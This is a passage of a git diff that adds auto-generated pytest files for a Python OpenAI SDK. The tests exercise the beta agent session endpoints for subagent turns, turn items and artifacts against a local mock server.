+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta.agents.sessions import Turn
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestTurns:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ turn = client.beta.agents.sessions.subagents.turns.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+ assert_matches_type(Turn, turn, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.subagents.turns.with_raw_response.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ turn = response.parse()
+ assert_matches_type(Turn, turn, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.subagents.turns.with_streaming_response.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ turn = response.parse()
+ assert_matches_type(Turn, turn, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.subagents.turns.with_raw_response.retrieve(
+ turn_id="turn_id",
+ session_id="",
+ subagent_id="subagent_id",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `subagent_id` but received ''"):
+ client.beta.agents.sessions.subagents.turns.with_raw_response.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `turn_id` but received ''"):
+ client.beta.agents.sessions.subagents.turns.with_raw_response.retrieve(
+ turn_id="",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ turn = client.beta.agents.sessions.subagents.turns.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+ assert_matches_type(SyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ turn = client.beta.agents.sessions.subagents.turns.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(SyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.subagents.turns.with_raw_response.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ turn = response.parse()
+ assert_matches_type(SyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.subagents.turns.with_streaming_response.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ turn = response.parse()
+ assert_matches_type(SyncCursorPage[Turn], turn, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.subagents.turns.with_raw_response.list(
+ subagent_id="subagent_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `subagent_id` but received ''"):
+ client.beta.agents.sessions.subagents.turns.with_raw_response.list(
+ subagent_id="",
+ session_id="session_id",
+ )
+
+
+class TestAsyncTurns:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ turn = await async_client.beta.agents.sessions.subagents.turns.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+ assert_matches_type(Turn, turn, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.subagents.turns.with_raw_response.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ turn = response.parse()
+ assert_matches_type(Turn, turn, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.subagents.turns.with_streaming_response.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ turn = await response.parse()
+ assert_matches_type(Turn, turn, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.turns.with_raw_response.retrieve(
+ turn_id="turn_id",
+ session_id="",
+ subagent_id="subagent_id",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `subagent_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.turns.with_raw_response.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `turn_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.turns.with_raw_response.retrieve(
+ turn_id="",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ turn = await async_client.beta.agents.sessions.subagents.turns.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+ assert_matches_type(AsyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ turn = await async_client.beta.agents.sessions.subagents.turns.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(AsyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.subagents.turns.with_raw_response.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ turn = response.parse()
+ assert_matches_type(AsyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.subagents.turns.with_streaming_response.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ turn = await response.parse()
+ assert_matches_type(AsyncCursorPage[Turn], turn, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.turns.with_raw_response.list(
+ subagent_id="subagent_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `subagent_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.turns.with_raw_response.list(
+ subagent_id="",
+ session_id="session_id",
+ )
diff --git a/tests/api_resources/beta/agents/sessions/subagents/turns/__init__.py b/tests/api_resources/beta/agents/sessions/subagents/turns/__init__.py
new file mode 100644
index 0000000000..d7a8b19970
--- /dev/null
+++ b/tests/api_resources/beta/agents/sessions/subagents/turns/__init__.py
@@ -0,0 +1 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/agents/sessions/subagents/turns/test_items.py b/tests/api_resources/beta/agents/sessions/subagents/turns/test_items.py
new file mode 100644
index 0000000000..cf0367795e
--- /dev/null
+++ b/tests/api_resources/beta/agents/sessions/subagents/turns/test_items.py
@@ -0,0 +1,169 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta import AgentSessionItem
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestItems:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ item = client.beta.agents.sessions.subagents.turns.items.list(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ item = client.beta.agents.sessions.subagents.turns.items.list(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.subagents.turns.items.with_raw_response.list(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ item = response.parse()
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.subagents.turns.items.with_streaming_response.list(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ item = response.parse()
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.subagents.turns.items.with_raw_response.list(
+ turn_id="turn_id",
+ session_id="",
+ subagent_id="subagent_id",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `subagent_id` but received ''"):
+ client.beta.agents.sessions.subagents.turns.items.with_raw_response.list(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `turn_id` but received ''"):
+ client.beta.agents.sessions.subagents.turns.items.with_raw_response.list(
+ turn_id="",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+
+
+class TestAsyncItems:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ item = await async_client.beta.agents.sessions.subagents.turns.items.list(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ item = await async_client.beta.agents.sessions.subagents.turns.items.list(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.subagents.turns.items.with_raw_response.list(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ item = response.parse()
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.subagents.turns.items.with_streaming_response.list(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ item = await response.parse()
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.turns.items.with_raw_response.list(
+ turn_id="turn_id",
+ session_id="",
+ subagent_id="subagent_id",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `subagent_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.turns.items.with_raw_response.list(
+ turn_id="turn_id",
+ session_id="session_id",
+ subagent_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `turn_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.turns.items.with_raw_response.list(
+ turn_id="",
+ session_id="session_id",
+ subagent_id="subagent_id",
+ )
diff --git a/tests/api_resources/beta/agents/sessions/test_artifacts.py b/tests/api_resources/beta/agents/sessions/test_artifacts.py
new file mode 100644
index 0000000000..0e78e3327b
--- /dev/null
+++ b/tests/api_resources/beta/agents/sessions/test_artifacts.py
@@ -0,0 +1,449 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import httpx2
+import pytest
+
+import openai._legacy_response as _legacy_response
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from tests.respx2 import MockRouter
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta.agents.sessions import (
+ SessionArtifact,
+ SessionArtifactDeleted,
+)
+
+# pyright: reportDeprecated=false
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestArtifacts:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ artifact = client.beta.agents.sessions.artifacts.retrieve(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+ assert_matches_type(SessionArtifact, artifact, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.artifacts.with_raw_response.retrieve(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ artifact = response.parse()
+ assert_matches_type(SessionArtifact, artifact, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.artifacts.with_streaming_response.retrieve(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ artifact = response.parse()
+ assert_matches_type(SessionArtifact, artifact, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.artifacts.with_raw_response.retrieve(
+ artifact_id="artifact_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `artifact_id` but received ''"):
+ client.beta.agents.sessions.artifacts.with_raw_response.retrieve(
+ artifact_id="",
+ session_id="session_id",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ artifact = client.beta.agents.sessions.artifacts.list(
+ session_id="session_id",
+ )
+ assert_matches_type(SyncCursorPage[SessionArtifact], artifact, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ artifact = client.beta.agents.sessions.artifacts.list(
+ session_id="session_id",
+ after="after",
+ environment_id="environment_id",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(SyncCursorPage[SessionArtifact], artifact, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.artifacts.with_raw_response.list(
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ artifact = response.parse()
+ assert_matches_type(SyncCursorPage[SessionArtifact], artifact, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.artifacts.with_streaming_response.list(
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ artifact = response.parse()
+ assert_matches_type(SyncCursorPage[SessionArtifact], artifact, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.artifacts.with_raw_response.list(
+ session_id="",
+ )
+
+ @parametrize
+ def test_method_delete(self, client: OpenAI) -> None:
+ artifact = client.beta.agents.sessions.artifacts.delete(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+ assert_matches_type(SessionArtifactDeleted, artifact, path=["response"])
+
+ @parametrize
+ def test_raw_response_delete(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.artifacts.with_raw_response.delete(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ artifact = response.parse()
+ assert_matches_type(SessionArtifactDeleted, artifact, path=["response"])
+
+ @parametrize
+ def test_streaming_response_delete(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.artifacts.with_streaming_response.delete(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ artifact = response.parse()
+ assert_matches_type(SessionArtifactDeleted, artifact, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_delete(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.artifacts.with_raw_response.delete(
+ artifact_id="artifact_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `artifact_id` but received ''"):
+ client.beta.agents.sessions.artifacts.with_raw_response.delete(
+ artifact_id="",
+ session_id="session_id",
+ )
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/agents/sessions/session_id/artifacts/artifact_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
+ )
+ artifact = client.beta.agents.sessions.artifacts.content(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+ assert isinstance(artifact, _legacy_response.HttpxBinaryResponseContent)
+ assert artifact.json() == {"foo": "bar"}
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/agents/sessions/session_id/artifacts/artifact_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
+ )
+
+ response = client.beta.agents.sessions.artifacts.with_raw_response.content(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ artifact = response.parse()
+ assert_matches_type(_legacy_response.HttpxBinaryResponseContent, artifact, path=["response"])
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ def test_streaming_response_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/agents/sessions/session_id/artifacts/artifact_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
+ )
+ with client.beta.agents.sessions.artifacts.with_streaming_response.content(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ artifact = response.parse()
+ assert_matches_type(bytes, artifact, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ def test_path_params_content(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.artifacts.with_raw_response.content(
+ artifact_id="artifact_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `artifact_id` but received ''"):
+ client.beta.agents.sessions.artifacts.with_raw_response.content(
+ artifact_id="",
+ session_id="session_id",
+ )
+
+
+class TestAsyncArtifacts:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ artifact = await async_client.beta.agents.sessions.artifacts.retrieve(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+ assert_matches_type(SessionArtifact, artifact, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.artifacts.with_raw_response.retrieve(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ artifact = response.parse()
+ assert_matches_type(SessionArtifact, artifact, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.artifacts.with_streaming_response.retrieve(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ artifact = await response.parse()
+ assert_matches_type(SessionArtifact, artifact, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.artifacts.with_raw_response.retrieve(
+ artifact_id="artifact_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `artifact_id` but received ''"):
+ await async_client.beta.agents.sessions.artifacts.with_raw_response.retrieve(
+ artifact_id="",
+ session_id="session_id",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ artifact = await async_client.beta.agents.sessions.artifacts.list(
+ session_id="session_id",
+ )
+ assert_matches_type(AsyncCursorPage[SessionArtifact], artifact, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ artifact = await async_client.beta.agents.sessions.artifacts.list(
+ session_id="session_id",
+ after="after",
+ environment_id="environment_id",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(AsyncCursorPage[SessionArtifact], artifact, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.artifacts.with_raw_response.list(
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ artifact = response.parse()
+ assert_matches_type(AsyncCursorPage[SessionArtifact], artifact, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.artifacts.with_streaming_response.list(
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ artifact = await response.parse()
+ assert_matches_type(AsyncCursorPage[SessionArtifact], artifact, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.artifacts.with_raw_response.list(
+ session_id="",
+ )
+
+ @parametrize
+ async def test_method_delete(self, async_client: AsyncOpenAI) -> None:
+ artifact = await async_client.beta.agents.sessions.artifacts.delete(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+ assert_matches_type(SessionArtifactDeleted, artifact, path=["response"])
+
+ @parametrize
+ async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.artifacts.with_raw_response.delete(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ artifact = response.parse()
+ assert_matches_type(SessionArtifactDeleted, artifact, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_delete(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.artifacts.with_streaming_response.delete(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ artifact = await response.parse()
+ assert_matches_type(SessionArtifactDeleted, artifact, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.artifacts.with_raw_response.delete(
+ artifact_id="artifact_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `artifact_id` but received ''"):
+ await async_client.beta.agents.sessions.artifacts.with_raw_response.delete(
+ artifact_id="",
+ session_id="session_id",
+ )
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/agents/sessions/session_id/artifacts/artifact_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
+ )
+ artifact = await async_client.beta.agents.sessions.artifacts.content(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+ assert isinstance(artifact, _legacy_response.HttpxBinaryResponseContent)
+ assert artifact.json() == {"foo": "bar"}
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/agents/sessions/session_id/artifacts/artifact_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
+ )
+
+ response = await async_client.beta.agents.sessions.artifacts.with_raw_response.content(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ artifact = response.parse()
+ assert_matches_type(_legacy_response.HttpxBinaryResponseContent, artifact, path=["response"])
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_streaming_response_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/agents/sessions/session_id/artifacts/artifact_id/content").mock(
+ return_value=httpx2.Response(200, json={"foo": "bar"})
+ )
+ async with async_client.beta.agents.sessions.artifacts.with_streaming_response.content(
+ artifact_id="artifact_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ artifact = await response.parse()
+ assert_matches_type(bytes, artifact, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_path_params_content(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.artifacts.with_raw_response.content(
+ artifact_id="artifact_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `artifact_id` but received ''"):
+ await async_client.beta.agents.sessions.artifacts.with_raw_response.content(
+ artifact_id="",
+ session_id="session_id",
+ )
diff --git a/tests/api_resources/beta/agents/sessions/test_events.py b/tests/api_resources/beta/agents/sessions/test_events.py
new file mode 100644
index 0000000000..30d4a710bd
--- /dev/null
